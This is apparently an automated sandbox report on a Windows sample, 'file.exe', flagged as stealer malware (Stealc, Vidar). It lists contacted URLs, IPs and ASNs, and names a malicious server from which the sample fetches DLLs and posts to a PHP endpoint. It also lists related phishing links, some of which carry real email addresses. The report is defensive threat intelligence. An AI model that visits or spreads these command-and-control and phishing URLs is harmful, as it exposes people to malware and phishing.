https://www.saltycams.com	Ruleset Data.10.dr	false		unknown
https://thechillipadi.com/	Ruleset Data.10.dr	false		unknown
https://www.sugarinstant.com/?partner_id=	Ruleset Data.10.dr	false		unknown
https://gadlt.nl/	Ruleset Data.10.dr	false		unknown
https://www.rizik.com.bd/	Ruleset Data.10.dr	false		unknown
https://ntp.msn.com	2cc80dabc69f58b6_0.10.dr	false		unknown
https://qwa.qwant.com/ck.php	Ruleset Data.10.dr	false		unknown
http://www.tkqlhce.com/	Ruleset Data.10.dr	false		unknown
https://track.healthtrader.com/	Ruleset Data.10.dr	false		unknown
https://www.pcbway.com/	Ruleset Data.10.dr	false		unknown
https://www.vultr.com/	Ruleset Data.10.dr	false		unknown
http://www.grainesdecannabis.fr/	Ruleset Data.10.dr	false		unknown
http://185.215.113.206/746f34465cf17784/nss3.dllll-	file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dll/y	file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://s.zlink2.com/	Ruleset Data.10.dr	false		unknown
https://www.mrporngeek.com/	Ruleset Data.10.dr	false		unknown
http://185.215.113.206/746f34465cf17784/nss3.dllll1	file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php641bc1c3c300cfLt(	file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://refer.ccbill.com/cgi-bin/clicks.cgi?	Ruleset Data.10.dr	false		unknown
https://www.elitepvpers.com/123/	Ruleset Data.10.dr	false		unknown
https://walletinvestor.com/u/gnrATE	Ruleset Data.10.dr	false		unknown
https://rajabets.com/	Ruleset Data.10.dr	false		unknown
https://click.linksynergy.com/	Ruleset Data.10.dr	false		unknown
https://www.firstload.com/affiliate/	Ruleset Data.10.dr	false		unknown
http://ads.depositfiles.com/	Ruleset Data.10.dr	false		unknown
https://www.nsbinsures.com/	Ruleset Data.10.dr	false		unknown
https://www.camsoda.com/enter.php?id=	Ruleset Data.10.dr	false		unknown
https://meet-to-fuck.com/tds	Ruleset Data.10.dr	false		unknown
https://secure.starsaffiliateclub.com/C.ashx?	Ruleset Data.10.dr	false		unknown
http://macpaw.7eer.net/	Ruleset Data.10.dr	false		unknown
https://www.clicktraceclick.com/	Ruleset Data.10.dr	false		unknown
https://www.eneba.com/	Ruleset Data.10.dr	false		unknown
http://www.adult-empire.com/rs.php?	Ruleset Data.10.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.198.7.184	unknown	United States	20940	AKAMAI-ASN1EU	false
23.198.7.183	unknown	United States	20940	AKAMAI-ASN1EU	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
23.47.194.83	unknown	United States	20940	AKAMAI-ASN1EU	false
18.245.113.126	unknown	United States	16509	AMAZON-02US	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
216.58.212.174	plus.l.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.221.22.173	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.42.65.94	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
216.58.206.46	play.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.16.193	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.217.18.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.8
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544563
Start date and time:	2024-10-29 15:26:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@71/284@26/23
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.35, 142.250.185.78, 108.177.15.84, 192.229.221.95, 34.104.35.123, 217.20.57.21, 142.250.181.227, 142.250.186.74, 172.217.18.10, 142.250.74.202, 142.250.186.42, 142.250.186.170, 142.250.185.170, 142.250.184.202, 172.217.16.138, 142.250.185.234, 142.250.186.138, 142.250.184.234, 172.217.16.202, 142.250.186.106, 142.250.181.234, 142.250.185.202, 216.58.206.42, 172.217.18.106, 216.58.212.138, 142.250.185.74, 216.58.206.74, 172.217.23.106, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 4.209.164.61, 2.19.126.152, 2.19.126.145, 48.209.164.47, 2.23.209.181, 2.23.209.189, 2.23.209.186, 2.23.209.178, 2.23.209.179, 2.23.209.182, 2.23.209.183, 2.23.209.188, 2.23.209.185, 88.221.110.195, 88.221.110.179, 2.23.209.176, 2.23.209.175, 2.23.209.177, 2.23.209.137, 2.23.209.192, 2.23.209.135, 2.23.209.142, 2.23.209.141, 2.23.209.136, 13.74.129.1, 204.79.197.237, 13.107.21.237, 23.38.98.80, 23.38.98.87, 23.38.98.83, 23.38.98.89, 23.38.98.85, 23.38.
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, otelrules.afd.azureedge.net, prod-agic-ne-4.northeurope.cloudapp.azure.com, www.bing.com.edgekey.ne
Execution Graph export aborted for target file.exe, PID 6532 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:27:41	API Interceptor	66x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.198.7.184	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://track.senderbulk.com/9145172/c?p=t_1VEj-jtdCupKDOh1UJ15hIRR1JywmpwhIYXugQ8652sS-HwhrykvIupJ1sV0083zN2qzdnhsEwJGDUDZ1OyR83lYJTkJdb1ldVrXBgZet3hXPVMDZaSfsMTO9r_7_gsxsZuAYF3HDczbqi9bL16p9EqvSQURoSr8h9p02Jz24yKdADk5HJYxFc56zk03c1	Get hash	malicious	Unknown	Browse
	https://neon.ly/c2df7a96-7e7b-434f-8fbd-e7d0667e7df5#cl/4534_md/1110/5173/689/14/544786	Get hash	malicious	Phisher	Browse
23.198.7.183	file.exe	Get hash	malicious	Stealc, Vidar	Browse
23.198.7.183	https://neon.ly/f132f836-82cf-441d-83cc-ac2dde9fb1d7	Get hash	malicious	Unknown	Browse
23.96.180.189	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://praviplastics.com/o/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9YW01cVRWST0mdWlkPVVTRVIxMjA5MjAyNFU0ODA5MTI1OQ==#j.pullen@newheycarpets.co.uk	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Babadeda	Browse
152.195.19.97	http://ustteam.com/	Get hash	malicious	Unknown	Browse	www.ust.com/
23.47.194.83	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	https://workdrive.zohoexternal.com/file/d3qaw4673940b54374623b165953068c580b5	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	dokument wysy#U0142kowy faktury nr 52-FK-24.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	CARDFACTORYAccess Program, Tuesday, October 29, 2024.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://www.google.mx/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=sf_rand_string_mixed(5)FgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Biw.%C2%ADgc%C2%ADrvn%C2%ADm0.%C2%ADza%C2%AD.c%E2%80%8Bo%C2%ADm%2Ffylee%2Fimages%2Fsf_rand_string_mixed(24)/roger.christenson@steptoe-johnson.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://url5148.librariapena.com/ls/click?upn=u001.GicqFEndYG5aFpuN1ngPufTfXrsQ9xNlNirpytR4MM9aBsYYFODsiAPftWqmKpvrE6ff_B2fWkfszhSflnL0HA3FnQqEKk1HJkizy-2Fud2LEQeI5aha2K2G6ppF2O0bL7D7H7LMN8WGu5xRF2M8uaTM6MXf6DAMaADWmIUL1YqZWKrQh1g-2F0n0cxV2mRrNZEteUwfW5DOdClcZ0c7E-2FIhACBFYnzvVFSnfSt3CZCN7P1EL1QyPVm42KBQGCDp3btvtG-2BbRJha-2FOyJXx-2BDZbno3l2jsvw-2FwkacYeoKE0uINsamNbg0rV0A52QCvn7k6VYTShXjbi9u51Z787-2F01bX1DTA9aSBSP-2FWMLEspaU-2FIdc1x-2FmRDSh7t6BQtQAtVlDsdci-2FkdE5XEzXcy1T7RT1mRx0Z8c0C7T5TxNvH7MOJLp-2BPx4LTMm4cKm4w-2Br4av4rqX3sFI-2B0Z54CPJjpfmgkQpOwbMxDkpsmVoLcKhd8rV7DcMtFguJaotRS3nEWM4vOO-2FegVGhzrwPBH6NjA2esFflr-2FYmA56ZztqyuVYNkq6vFbZhu3qpImgcxi-2BBybDKRWWCy9ZJhz5kW6d7c5iFMdA14shvBlO5oteNsOg1T8Wcd4MIJllivR5RQLa6JKyKUfgK8kF9DoOU4JGzocfITKQs9Z05ET92-2FS1aC5wu-2FuyffXQ4VOTrXPB9d3zUlvAaEdOc87CGa5e4y4lu-2F-2B9njpJqjlihSLoXPx3uHJhhT5l60Eu-2Fd0OnNMVN2uGoOn8P4Kyfxcr-2B3atbrIS84kkAo7VV7ElDHFn2Wn-2B0iZqwoFL1t1YCz2cR3xAkH3Dm45o7ag9bF7tv0L4g2t8v1fAwuiPylHAHkqFOEcwcDndKNNLE7ObrCi0wDxBijc-2FYVZU6-2F0yIfBAmiocABK2NEl2-2F-2FPMERnDYg-3D-3D	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://assets-usa.mkt.dynamics.com/a915fd66-2592-ef11-8a66-00224803a417/digitalassets/standaloneforms/3d7495e3-e695-ef11-8a69-000d3a3501d6	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	niceworkingthingswithgreatthingsevengetbackwithgoodnews.hta	Get hash	malicious	Cobalt Strike, GuLoader, HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.45
	https://abre.ai/lmHC	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://docs.google.com/drawings/d/1OzqwiA1nI8GUoiKob_qJY5xL1HmGK6VrRXlYUDuD68w/preview?pli=1JXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrl	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
chrome.cloudflare-dns.com	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	setup.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
sb.scorecardresearch.com	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	18.239.83.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	108.156.60.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	18.239.69.15

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	CARDFACTORYAccess Program, Tuesday, October 29, 2024.eml	Get hash	malicious	HTMLPhisher	Browse	52.113.194.132
	http://url5148.librariapena.com/ls/click?upn=u001.GicqFEndYG5aFpuN1ngPufTfXrsQ9xNlNirpytR4MM9aBsYYFODsiAPftWqmKpvrE6ff_B2fWkfszhSflnL0HA3FnQqEKk1HJkizy-2Fud2LEQeI5aha2K2G6ppF2O0bL7D7H7LMN8WGu5xRF2M8uaTM6MXf6DAMaADWmIUL1YqZWKrQh1g-2F0n0cxV2mRrNZEteUwfW5DOdClcZ0c7E-2FIhACBFYnzvVFSnfSt3CZCN7P1EL1QyPVm42KBQGCDp3btvtG-2BbRJha-2FOyJXx-2BDZbno3l2jsvw-2FwkacYeoKE0uINsamNbg0rV0A52QCvn7k6VYTShXjbi9u51Z787-2F01bX1DTA9aSBSP-2FWMLEspaU-2FIdc1x-2FmRDSh7t6BQtQAtVlDsdci-2FkdE5XEzXcy1T7RT1mRx0Z8c0C7T5TxNvH7MOJLp-2BPx4LTMm4cKm4w-2Br4av4rqX3sFI-2B0Z54CPJjpfmgkQpOwbMxDkpsmVoLcKhd8rV7DcMtFguJaotRS3nEWM4vOO-2FegVGhzrwPBH6NjA2esFflr-2FYmA56ZztqyuVYNkq6vFbZhu3qpImgcxi-2BBybDKRWWCy9ZJhz5kW6d7c5iFMdA14shvBlO5oteNsOg1T8Wcd4MIJllivR5RQLa6JKyKUfgK8kF9DoOU4JGzocfITKQs9Z05ET92-2FS1aC5wu-2FuyffXQ4VOTrXPB9d3zUlvAaEdOc87CGa5e4y4lu-2F-2B9njpJqjlihSLoXPx3uHJhhT5l60Eu-2Fd0OnNMVN2uGoOn8P4Kyfxcr-2B3atbrIS84kkAo7VV7ElDHFn2Wn-2B0iZqwoFL1t1YCz2cR3xAkH3Dm45o7ag9bF7tv0L4g2t8v1fAwuiPylHAHkqFOEcwcDndKNNLE7ObrCi0wDxBijc-2FYVZU6-2F0yIfBAmiocABK2NEl2-2F-2FPMERnDYg-3D-3D	Get hash	malicious	HTMLPhisher	Browse	40.126.32.68
	https://assets-usa.mkt.dynamics.com/a915fd66-2592-ef11-8a66-00224803a417/digitalassets/standaloneforms/3d7495e3-e695-ef11-8a69-000d3a3501d6	Get hash	malicious	Mamba2FA	Browse	52.146.76.30
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.228.161.161
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	21.53.231.136
	https://docs.google.com/drawings/d/1OzqwiA1nI8GUoiKob_qJY5xL1HmGK6VrRXlYUDuD68w/preview?pli=1JXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrl	Get hash	malicious	Mamba2FA	Browse	13.107.253.45
	Jo Smalley shared _Harbour Healthcare Ltd Project_ with you..eml	Get hash	malicious	HTMLPhisher	Browse	20.50.201.205
	Jo Smalley shared _Harbour Healthcare Ltd Project_ with you..eml	Get hash	malicious	HTMLPhisher	Browse	52.146.128.240
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse	13.107.42.16
EDGECASTUS	https://workdrive.zohoexternal.com/file/d3qaw4673940b54374623b165953068c580b5	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	CARDFACTORYAccess Program, Tuesday, October 29, 2024.eml	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://assets-usa.mkt.dynamics.com/a915fd66-2592-ef11-8a66-00224803a417/digitalassets/standaloneforms/3d7495e3-e695-ef11-8a69-000d3a3501d6	Get hash	malicious	Mamba2FA	Browse	152.199.21.175
	https://docs.google.com/drawings/d/1OzqwiA1nI8GUoiKob_qJY5xL1HmGK6VrRXlYUDuD68w/preview?pli=1JXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrl	Get hash	malicious	Mamba2FA	Browse	152.199.21.175
	Jo Smalley shared _Harbour Healthcare Ltd Project_ with you..eml	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	Jo Smalley shared _Harbour Healthcare Ltd Project_ with you..eml	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.195.19.97
	https://apollomicsinc-my.sharepoint.com/:u:/p/peony_yu/EThcAjzaTWNPs4NpIP1X0v0BUe4pmKNB9s6TANBDk5EDeA?rtime=8VndtY_33Eg	Get hash	malicious	HtmlDropper	Browse	152.199.21.175
AKAMAI-ASN1EU	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.180
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.88
	Jo Smalley shared _Harbour Healthcare Ltd Project_ with you..eml	Get hash	malicious	HTMLPhisher	Browse	2.16.238.24
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.177
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.213
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.31.0.196
	https://apollomicsinc-my.sharepoint.com/:u:/p/peony_yu/EThcAjzaTWNPs4NpIP1X0v0BUe4pmKNB9s6TANBDk5EDeA?rtime=8VndtY_33Eg	Get hash	malicious	HtmlDropper	Browse	2.16.168.12
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.99
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.66
	https://teams.microsoft.com/l/meetup-join/19%3ameeting_MjMzOWVkZWYtYzg2MC00YjYzLWE5MmItMTA0OTE2MWJkOWYw%40thread.v2/0?context=%7b%22Tid%22%3a%2211d0e217-264e-400a-8ba0-57dcc127d72d%22%2c%22Oid%22%3a%2220d61d95-c7cb-4170-b8c4-9ea749bac872%22%7d	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	2.22.242.88
AKAMAI-ASN1EU	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.180
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.88
	Jo Smalley shared _Harbour Healthcare Ltd Project_ with you..eml	Get hash	malicious	HTMLPhisher	Browse	2.16.238.24
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.177
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.213
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.31.0.196
	https://apollomicsinc-my.sharepoint.com/:u:/p/peony_yu/EThcAjzaTWNPs4NpIP1X0v0BUe4pmKNB9s6TANBDk5EDeA?rtime=8VndtY_33Eg	Get hash	malicious	HtmlDropper	Browse	2.16.168.12
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.99
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.66
	https://teams.microsoft.com/l/meetup-join/19%3ameeting_MjMzOWVkZWYtYzg2MC00YjYzLWE5MmItMTA0OTE2MWJkOWYw%40thread.v2/0?context=%7b%22Tid%22%3a%2211d0e217-264e-400a-8ba0-57dcc127d72d%22%2c%22Oid%22%3a%2220d61d95-c7cb-4170-b8c4-9ea749bac872%22%7d	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	2.22.242.88

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	New Portable Document.pdf	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://workdrive.zohoexternal.com/file/d3qaw4673940b54374623b165953068c580b5	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://trainingndt.com/	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://www.google.mx/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=sf_rand_string_mixed(5)FgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Biw.%C2%ADgc%C2%ADrvn%C2%ADm0.%C2%ADza%C2%AD.c%E2%80%8Bo%C2%ADm%2Ffylee%2Fimages%2Fsf_rand_string_mixed(24)/roger.christenson@steptoe-johnson.com	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	http://url5148.librariapena.com/ls/click?upn=u001.GicqFEndYG5aFpuN1ngPufTfXrsQ9xNlNirpytR4MM9aBsYYFODsiAPftWqmKpvrE6ff_B2fWkfszhSflnL0HA3FnQqEKk1HJkizy-2Fud2LEQeI5aha2K2G6ppF2O0bL7D7H7LMN8WGu5xRF2M8uaTM6MXf6DAMaADWmIUL1YqZWKrQh1g-2F0n0cxV2mRrNZEteUwfW5DOdClcZ0c7E-2FIhACBFYnzvVFSnfSt3CZCN7P1EL1QyPVm42KBQGCDp3btvtG-2BbRJha-2FOyJXx-2BDZbno3l2jsvw-2FwkacYeoKE0uINsamNbg0rV0A52QCvn7k6VYTShXjbi9u51Z787-2F01bX1DTA9aSBSP-2FWMLEspaU-2FIdc1x-2FmRDSh7t6BQtQAtVlDsdci-2FkdE5XEzXcy1T7RT1mRx0Z8c0C7T5TxNvH7MOJLp-2BPx4LTMm4cKm4w-2Br4av4rqX3sFI-2B0Z54CPJjpfmgkQpOwbMxDkpsmVoLcKhd8rV7DcMtFguJaotRS3nEWM4vOO-2FegVGhzrwPBH6NjA2esFflr-2FYmA56ZztqyuVYNkq6vFbZhu3qpImgcxi-2BBybDKRWWCy9ZJhz5kW6d7c5iFMdA14shvBlO5oteNsOg1T8Wcd4MIJllivR5RQLa6JKyKUfgK8kF9DoOU4JGzocfITKQs9Z05ET92-2FS1aC5wu-2FuyffXQ4VOTrXPB9d3zUlvAaEdOc87CGa5e4y4lu-2F-2B9njpJqjlihSLoXPx3uHJhhT5l60Eu-2Fd0OnNMVN2uGoOn8P4Kyfxcr-2B3atbrIS84kkAo7VV7ElDHFn2Wn-2B0iZqwoFL1t1YCz2cR3xAkH3Dm45o7ag9bF7tv0L4g2t8v1fAwuiPylHAHkqFOEcwcDndKNNLE7ObrCi0wDxBijc-2FYVZU6-2F0yIfBAmiocABK2NEl2-2F-2FPMERnDYg-3D-3D	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://u.to/Ipn6IA	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://assets-usa.mkt.dynamics.com/a915fd66-2592-ef11-8a66-00224803a417/digitalassets/standaloneforms/3d7495e3-e695-ef11-8a69-000d3a3501d6	Get hash	malicious	Mamba2FA	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	DividasAtivas_tgj.vbs	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	4.245.163.56 184.28.90.27 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	c6rXOlRx1y.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	X9d3758tok.exe	Get hash	malicious	Stealc, Vidar	Browse
